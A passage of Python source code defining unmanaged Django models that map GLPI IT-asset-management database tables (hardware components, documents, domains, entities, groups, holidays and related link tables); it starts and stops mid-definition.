is_recursive = models.IntegerField() locations = models.ForeignKey('GlpiLocations', on_delete=models.PROTECT) states = models.ForeignKey('GlpiStates', on_delete=models.PROTECT) devicegenericmodels = models.ForeignKey('GlpiDevicegenericmodels', on_delete=models.SET_NULL, blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_devicegenerics' class GlpiDevicegenerictypes(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_devicegenerictypes' class GlpiDevicegraphiccardmodels(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) product_number = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_devicegraphiccardmodels' class GlpiDevicegraphiccards(models.Model): id = models.IntegerField(primary_key=True) designation = models.CharField(max_length=255, blank=True, null=True) interfacetypes = models.ForeignKey('GlpiInterfacetypes', on_delete=models.PROTECT) comment = models.TextField(blank=True, null=True) manufacturers = models.ForeignKey('GlpiManufacturers', on_delete=models.PROTECT) memory_default = models.IntegerField() entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() devicegraphiccardmodels = models.ForeignKey('GlpiDevicegraphiccardmodels', on_delete=models.SET_NULL, blank=True, null=True) chipset = models.CharField(max_length=255, blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_devicegraphiccards' class GlpiDeviceharddrivemodels(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) product_number = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_deviceharddrivemodels' class GlpiDeviceharddrives(models.Model): id = models.IntegerField(primary_key=True) designation = models.CharField(max_length=255, blank=True, null=True) rpm = models.CharField(max_length=255, blank=True, null=True) interfacetypes = models.ForeignKey('GlpiInterfacetypes', on_delete=models.PROTECT) cache = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) manufacturers = models.ForeignKey('GlpiManufacturers', on_delete=models.PROTECT) capacity_default = models.IntegerField() entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() deviceharddrivemodels = models.ForeignKey('GlpiDeviceharddrivemodels', on_delete=models.SET_NULL, blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_deviceharddrives' class GlpiDevicememories(models.Model): id = models.IntegerField(primary_key=True) designation = models.CharField(max_length=255, blank=True, null=True) frequence = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) manufacturers = models.ForeignKey('GlpiManufacturers', on_delete=models.PROTECT) size_default = models.IntegerField() devicememorytypes = models.ForeignKey('GlpiDevicememorytypes', on_delete=models.PROTECT) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() devicememorymodels = models.ForeignKey('GlpiDevicememorymodels', on_delete=models.SET_NULL, blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_devicememories' class GlpiDevicememorymodels(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) product_number = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_devicememorymodels' class GlpiDevicememorytypes(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_devicememorytypes' class GlpiDevicemotherboardmodels(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) product_number = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_devicemotherboardmodels' class GlpiDevicemotherboards(models.Model): id = models.IntegerField(primary_key=True) designation = models.CharField(max_length=255, blank=True, null=True) chipset = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) manufacturers = models.ForeignKey('GlpiManufacturers', on_delete=models.PROTECT) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() devicemotherboardmodels = models.ForeignKey('GlpiDevicemotherboardmodels', on_delete=models.SET_NULL, blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_devicemotherboards' class GlpiDevicenetworkcardmodels(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) product_number = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_devicenetworkcardmodels' class GlpiDevicenetworkcards(models.Model): id = models.IntegerField(primary_key=True) designation = models.CharField(max_length=255, blank=True, null=True) bandwidth = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) manufacturers = models.ForeignKey('GlpiManufacturers', on_delete=models.PROTECT) mac_default = models.CharField(max_length=255, blank=True, null=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() devicenetworkcardmodels = models.ForeignKey('GlpiDevicenetworkcardmodels', on_delete=models.SET_NULL, blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_devicenetworkcards' class GlpiDevicepcimodels(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) product_number = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_devicepcimodels' class GlpiDevicepcis(models.Model): id = models.IntegerField(primary_key=True) designation = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) manufacturers = models.ForeignKey('GlpiManufacturers', on_delete=models.PROTECT) devicenetworkcardmodels = models.ForeignKey('GlpiDevicenetworkcardmodels', on_delete=models.PROTECT) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() devicepcimodels = models.ForeignKey('GlpiDevicepcimodels', on_delete=models.SET_NULL, blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_devicepcis' class GlpiDevicepowersupplies(models.Model): id = models.IntegerField(primary_key=True) designation = models.CharField(max_length=255, blank=True, null=True) power = models.CharField(max_length=255, blank=True, null=True) is_atx = models.IntegerField() comment = models.TextField(blank=True, null=True) manufacturers = models.ForeignKey('GlpiManufacturers', on_delete=models.PROTECT) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() devicepowersupplymodels = models.ForeignKey('GlpiDevicepowersupplymodels', on_delete=models.SET_NULL, blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_devicepowersupplies' class GlpiDevicepowersupplymodels(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) product_number = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_devicepowersupplymodels' class GlpiDeviceprocessormodels(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) product_number = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_deviceprocessormodels' class GlpiDeviceprocessors(models.Model): id = models.IntegerField(primary_key=True) designation = models.CharField(max_length=255, blank=True, null=True) frequence = models.IntegerField() comment = models.TextField(blank=True, null=True) manufacturers = models.ForeignKey('GlpiManufacturers', on_delete=models.PROTECT) frequency_default = models.IntegerField() nbcores_default = models.IntegerField(blank=True, null=True) nbthreads_default = models.IntegerField(blank=True, null=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() deviceprocessormodels = models.ForeignKey('GlpiDeviceprocessormodels', on_delete=models.SET_NULL, blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_deviceprocessors' class GlpiDevicesensormodels(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) product_number = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_devicesensormodels' class GlpiDevicesensors(models.Model): id = models.IntegerField(primary_key=True) designation = models.CharField(max_length=255, blank=True, null=True) devicesensortypes = models.ForeignKey('GlpiDevicesensortypes', on_delete=models.PROTECT) devicesensormodels = models.ForeignKey('GlpiDevicesensormodels', on_delete=models.PROTECT) comment = models.TextField(blank=True, null=True) manufacturers = models.ForeignKey('GlpiManufacturers', on_delete=models.PROTECT) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() locations = models.ForeignKey('GlpiLocations', on_delete=models.PROTECT) states = models.ForeignKey('GlpiStates', on_delete=models.PROTECT) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_devicesensors' class GlpiDevicesensortypes(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_devicesensortypes' class GlpiDevicesimcards(models.Model): id = models.IntegerField(primary_key=True) designation = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() manufacturers = models.ForeignKey('GlpiManufacturers', on_delete=models.PROTECT) voltage = models.IntegerField(blank=True, null=True) devicesimcardtypes = models.ForeignKey('GlpiDevicesimcardtypes', on_delete=models.PROTECT) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) allow_voip = models.IntegerField() class Meta: managed = False db_table = 'glpi_devicesimcards' class GlpiDevicesimcardtypes(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255) comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_devicesimcardtypes' class GlpiDevicesoundcardmodels(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) product_number = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_devicesoundcardmodels' class GlpiDevicesoundcards(models.Model): id = models.IntegerField(primary_key=True) designation = models.CharField(max_length=255, blank=True, null=True) type = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) manufacturers = models.ForeignKey('GlpiManufacturers', on_delete=models.PROTECT) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() devicesoundcardmodels = models.ForeignKey('GlpiDevicesoundcardmodels', on_delete=models.SET_NULL, blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_devicesoundcards' class GlpiDisplaypreferences(models.Model): id = models.IntegerField(primary_key=True) itemtype = models.CharField(max_length=100) num = models.IntegerField() rank = models.IntegerField() users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) class Meta: managed = False db_table = 'glpi_displaypreferences' unique_together = ('users', 'itemtype', 'num') class GlpiDocumentcategories(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) documentcategories = models.ForeignKey('self', on_delete=models.PROTECT) completename = models.TextField(blank=True, null=True) level = models.IntegerField() ancestors_cache = models.TextField(blank=True, null=True) sons_cache = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_documentcategories' unique_together = ('documentcategories', 'name') class GlpiDocuments(models.Model): id = models.IntegerField(primary_key=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() name = models.CharField(max_length=255, blank=True, null=True) filename = models.CharField(max_length=255, blank=True, null=True) filepath = models.CharField(max_length=255, blank=True, null=True) documentcategories = models.ForeignKey('GlpiDocumentcategories', on_delete=models.PROTECT) mime = models.CharField(max_length=255, blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) comment = models.TextField(blank=True, null=True) is_deleted = models.IntegerField() link = models.CharField(max_length=255, blank=True, null=True) users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) tickets = models.ForeignKey('GlpiTickets', on_delete=models.PROTECT) sha1sum = models.CharField(max_length=40, blank=True, null=True) is_blacklisted = models.IntegerField() tag = models.CharField(max_length=255, blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_documents' class GlpiDocumentsItems(models.Model): id = models.IntegerField(primary_key=True) documents = models.ForeignKey('GlpiDocuments', on_delete=models.PROTECT) items_id = models.IntegerField() itemtype = models.CharField(max_length=100) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() date_mod = models.DateTimeField(blank=True, null=True) users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) timeline_position = models.IntegerField() date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_documents_items' unique_together = ('documents', 'itemtype', 'items_id', 'timeline_position') class GlpiDocumenttypes(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) ext = models.CharField(unique=True, max_length=255, blank=True, null=True) icon = models.CharField(max_length=255, blank=True, null=True) mime = models.CharField(max_length=255, blank=True, null=True) is_uploadable = models.IntegerField() date_mod = models.DateTimeField(blank=True, null=True) comment = models.TextField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_documenttypes' class GlpiDomainrecords(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) data = models.TextField(blank=True, null=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() domains = models.ForeignKey('GlpiDomains', on_delete=models.PROTECT) domainrecordtypes = models.ForeignKey('GlpiDomainrecordtypes', on_delete=models.PROTECT) ttl = models.IntegerField() users_id_tech = models.IntegerField() groups_id_tech = models.IntegerField() is_deleted = models.IntegerField() comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_domainrecords' class GlpiDomainrecordtypes(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() comment = models.TextField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_domainrecordtypes' class GlpiDomainrelations(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() comment = models.TextField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_domainrelations' class GlpiDomains(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() domaintypes = models.ForeignKey('GlpiDomaintypes', on_delete=models.PROTECT) date_expiration = models.DateTimeField(blank=True, null=True) users_id_tech = models.IntegerField() groups_id_tech = models.IntegerField() others = models.CharField(max_length=255, blank=True, null=True) is_deleted = models.IntegerField() comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_domains' class GlpiDomainsItems(models.Model): id = models.IntegerField(primary_key=True) domains = models.ForeignKey('GlpiDomains', on_delete=models.PROTECT) items_id = models.IntegerField() itemtype = models.CharField(max_length=100) domainrelations = models.ForeignKey('GlpiDomainrelations', on_delete=models.PROTECT) class Meta: managed = False db_table = 'glpi_domains_items' unique_together = ('domains', 'itemtype', 'items_id') class GlpiDomaintypes(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() comment = models.TextField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_domaintypes' class GlpiDropdowntranslations(models.Model): id = models.IntegerField(primary_key=True) items_id = models.IntegerField() itemtype = models.CharField(max_length=100, blank=True, null=True) language = models.CharField(max_length=10, blank=True, null=True) field = models.CharField(max_length=100, blank=True, null=True) value = models.TextField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_dropdowntranslations' unique_together = ('itemtype', 'items_id', 'language', 'field') class GlpiEnclosuremodels(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) product_number = models.CharField(max_length=255, blank=True, null=True) weight = models.IntegerField() required_units = models.IntegerField() depth = models.FloatField() power_connections = models.IntegerField() power_consumption = models.IntegerField() is_half_rack = models.IntegerField() picture_front = models.TextField(blank=True, null=True) picture_rear = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_enclosuremodels' class GlpiEnclosures(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() locations = models.ForeignKey('GlpiLocations', on_delete=models.PROTECT) serial = models.CharField(max_length=255, blank=True, null=True) otherserial = models.CharField(max_length=255, blank=True, null=True) enclosuremodels = models.ForeignKey('GlpiEnclosuremodels', on_delete=models.SET_NULL, blank=True, null=True) users_id_tech = models.IntegerField() groups_id_tech = models.IntegerField() is_template = models.IntegerField() template_name = models.CharField(max_length=255, blank=True, null=True) is_deleted = models.IntegerField() orientation = models.IntegerField(blank=True, null=True) power_supplies = models.IntegerField() states = models.ForeignKey('GlpiStates', on_delete=models.PROTECT) comment = models.TextField(blank=True, null=True) manufacturers = models.ForeignKey('GlpiManufacturers', on_delete=models.PROTECT) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_enclosures' class GlpiEntities(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) completename = models.TextField(blank=True, null=True) comment = models.TextField(blank=True, null=True) level = models.IntegerField() sons_cache = models.TextField(blank=True, null=True) ancestors_cache = models.TextField(blank=True, null=True) address = models.TextField(blank=True, null=True) postcode = models.CharField(max_length=255, blank=True, null=True) town = models.CharField(max_length=255, blank=True, null=True) state = models.CharField(max_length=255, blank=True, null=True) country = models.CharField(max_length=255, blank=True, null=True) website = models.CharField(max_length=255, blank=True, null=True) phonenumber = models.CharField(max_length=255, blank=True, null=True) fax = models.CharField(max_length=255, blank=True, null=True) email = models.CharField(max_length=255, blank=True, null=True) admin_email = models.CharField(max_length=255, blank=True, null=True) admin_email_name = models.CharField(max_length=255, blank=True, null=True) admin_reply = models.CharField(max_length=255, blank=True, null=True) admin_reply_name = models.CharField(max_length=255, blank=True, null=True) notification_subject_tag = models.CharField(max_length=255, blank=True, null=True) ldap_dn = models.CharField(max_length=255, blank=True, null=True) tag = models.CharField(max_length=255, blank=True, null=True) authldaps = models.ForeignKey('GlpiAuthldaps', on_delete=models.PROTECT) mail_domain = models.CharField(max_length=255, blank=True, null=True) entity_ldapfilter = models.TextField(blank=True, null=True) mailing_signature = models.TextField(blank=True, null=True) cartridges_alert_repeat = models.IntegerField() consumables_alert_repeat = models.IntegerField() use_licenses_alert = models.IntegerField() send_licenses_alert_before_delay = models.IntegerField() use_certificates_alert = models.IntegerField() send_certificates_alert_before_delay = models.IntegerField() use_contracts_alert = models.IntegerField() send_contracts_alert_before_delay = models.IntegerField() use_infocoms_alert = models.IntegerField() send_infocoms_alert_before_delay = models.IntegerField() use_reservations_alert = models.IntegerField() use_domains_alert = models.IntegerField() send_domains_alert_close_expiries_delay = models.IntegerField() send_domains_alert_expired_delay = models.IntegerField() autoclose_delay = models.IntegerField() autopurge_delay = models.IntegerField() notclosed_delay = models.IntegerField() calendars = models.ForeignKey('GlpiCalendars', on_delete=models.PROTECT) auto_assign_mode = models.IntegerField() tickettype = models.IntegerField() max_closedate = models.DateTimeField(blank=True, null=True) inquest_config = models.IntegerField() inquest_rate = models.IntegerField() inquest_delay = models.IntegerField() inquest_url = models.CharField(db_column='inquest_URL', max_length=255, blank=True, null=True) # Field name made lowercase. autofill_warranty_date = models.CharField(max_length=255) autofill_use_date = models.CharField(max_length=255) autofill_buy_date = models.CharField(max_length=255) autofill_delivery_date = models.CharField(max_length=255) autofill_order_date = models.CharField(max_length=255) tickettemplates = models.ForeignKey('GlpiTickettemplates', on_delete=models.PROTECT) changetemplates = models.ForeignKey('GlpiChangetemplates', on_delete=models.PROTECT) problemtemplates = models.ForeignKey('GlpiProblemtemplates', on_delete=models.PROTECT) entities_id_software = models.IntegerField() default_contract_alert = models.IntegerField() default_infocom_alert = models.IntegerField() default_cartridges_alarm_threshold = models.IntegerField() default_consumables_alarm_threshold = models.IntegerField() delay_send_emails = models.IntegerField() is_notif_enable_default = models.IntegerField() inquest_duration = models.IntegerField() date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) autofill_decommission_date = models.CharField(max_length=255) suppliers_as_private = models.IntegerField() anonymize_support_agents = models.IntegerField() enable_custom_css = models.IntegerField() custom_css_code = models.TextField(blank=True, null=True) latitude = models.CharField(max_length=255, blank=True, null=True) longitude = models.CharField(max_length=255, blank=True, null=True) altitude = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_entities' unique_together = ('entities', 'name') class GlpiEntitiesKnowbaseitems(models.Model): id = models.IntegerField(primary_key=True) knowbaseitems = models.ForeignKey('GlpiKnowbaseitems', on_delete=models.PROTECT) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() class Meta: managed = False db_table = 'glpi_entities_knowbaseitems' class GlpiEntitiesReminders(models.Model): id = models.IntegerField(primary_key=True) reminders = models.ForeignKey('GlpiReminders', on_delete=models.PROTECT) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() class Meta: managed = False db_table = 'glpi_entities_reminders' class GlpiEntitiesRssfeeds(models.Model): id = models.IntegerField(primary_key=True) rssfeeds = models.ForeignKey('GlpiRssfeeds', on_delete=models.PROTECT) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() class Meta: managed = False db_table = 'glpi_entities_rssfeeds' class GlpiEvents(models.Model): id = models.IntegerField(primary_key=True) items_id = models.IntegerField() type = models.CharField(max_length=255, blank=True, null=True) date = models.DateTimeField(blank=True, null=True) service = models.CharField(max_length=255, blank=True, null=True) level = models.IntegerField() message = models.TextField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_events' class GlpiFieldblacklists(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255) field = models.CharField(max_length=255) value = models.CharField(max_length=255) itemtype = models.CharField(max_length=255) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_fieldblacklists' class GlpiFieldunicities(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255) is_recursive = models.IntegerField() itemtype = models.CharField(max_length=255) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) fields = models.TextField(blank=True, null=True) is_active = models.IntegerField() action_refuse = models.IntegerField() action_notify = models.IntegerField() comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_fieldunicities' class GlpiFilesystems(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_filesystems' class GlpiFqdns(models.Model): id = models.IntegerField(primary_key=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() name = models.CharField(max_length=255, blank=True, null=True) fqdn = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_fqdns' class GlpiGroups(models.Model): id = models.IntegerField(primary_key=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) ldap_field = models.CharField(max_length=255, blank=True, null=True) ldap_value = models.TextField(blank=True, null=True) ldap_group_dn = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) groups = models.ForeignKey('GlpiGroups', on_delete=models.PROTECT) completename = models.TextField(blank=True, null=True) level = models.IntegerField() ancestors_cache = models.TextField(blank=True, null=True) sons_cache = models.TextField(blank=True, null=True) is_requester = models.IntegerField() is_watcher = models.IntegerField() is_assign = models.IntegerField() is_task = models.IntegerField() is_notify = models.IntegerField() is_itemgroup = models.IntegerField() is_usergroup = models.IntegerField() is_manager = models.IntegerField() date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_groups' class GlpiGroupsKnowbaseitems(models.Model): id = models.IntegerField(primary_key=True) knowbaseitems = models.ForeignKey('GlpiKnowbaseitems', on_delete=models.PROTECT) groups = models.ForeignKey('GlpiGroups', on_delete=models.PROTECT) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() class Meta: managed = False db_table = 'glpi_groups_knowbaseitems' class GlpiGroupsProblems(models.Model): id = models.IntegerField(primary_key=True) problems = models.ForeignKey('GlpiProblems', on_delete=models.PROTECT) groups = models.ForeignKey('GlpiGroups', on_delete=models.PROTECT) type = models.IntegerField() class Meta: managed = False db_table = 'glpi_groups_problems' unique_together = ('problems', 'type', 'groups') class GlpiGroupsReminders(models.Model): id = models.IntegerField(primary_key=True) reminders = models.ForeignKey('GlpiReminders', on_delete=models.PROTECT) groups = models.ForeignKey('GlpiGroups', on_delete=models.PROTECT) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() class Meta: managed = False db_table = 'glpi_groups_reminders' class GlpiGroupsRssfeeds(models.Model): id = models.IntegerField(primary_key=True) rssfeeds = models.ForeignKey('GlpiRssfeeds', on_delete=models.PROTECT) groups = models.ForeignKey('GlpiGroups', on_delete=models.PROTECT) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() class Meta: managed = False db_table = 'glpi_groups_rssfeeds' class GlpiGroupsTickets(models.Model): id = models.IntegerField(primary_key=True) tickets = models.ForeignKey('GlpiTickets', on_delete=models.PROTECT) groups = models.ForeignKey('GlpiGroups', on_delete=models.PROTECT) type = models.IntegerField() class Meta: managed = False db_table = 'glpi_groups_tickets' unique_together = ('tickets', 'type', 'groups') class GlpiGroupsUsers(models.Model): id = models.IntegerField(primary_key=True) users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) groups = models.ForeignKey('GlpiGroups', on_delete=models.PROTECT) is_dynamic = models.IntegerField() is_manager = models.IntegerField() is_userdelegate = models.IntegerField() class Meta: managed = False db_table = 'glpi_groups_users' unique_together = ('users', 'groups') class GlpiHolidays(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() comment = models.TextField(blank=True, null=True) begin_date = models.DateField(blank=True, null=True) end_date = models.DateField(blank=True, null=True) is_perpetual = models.IntegerField() date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_holidays' class GlpiImpactcompounds(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) color = models.CharField(max_length=255) class Meta: managed = False db_table = 'glpi_impactcompounds' class GlpiImpactcontexts(models.Model): id = models.IntegerField(primary_key=True) positions = models.TextField() zoom = models.FloatField() pan_x = models.FloatField() pan_y = models.FloatField() impact_color = models.CharField(max_length=255) depends_color = models.CharField(max_length=255) impact_and_depends_color = models.CharField(max_length=255) show_depends = models.IntegerField() show_impact = models.IntegerField() max_depth = models.IntegerField() class Meta: managed = False db_table = 'glpi_impactcontexts' class GlpiImpactitems(models.Model): id = models.IntegerField(primary_key=True) itemtype = 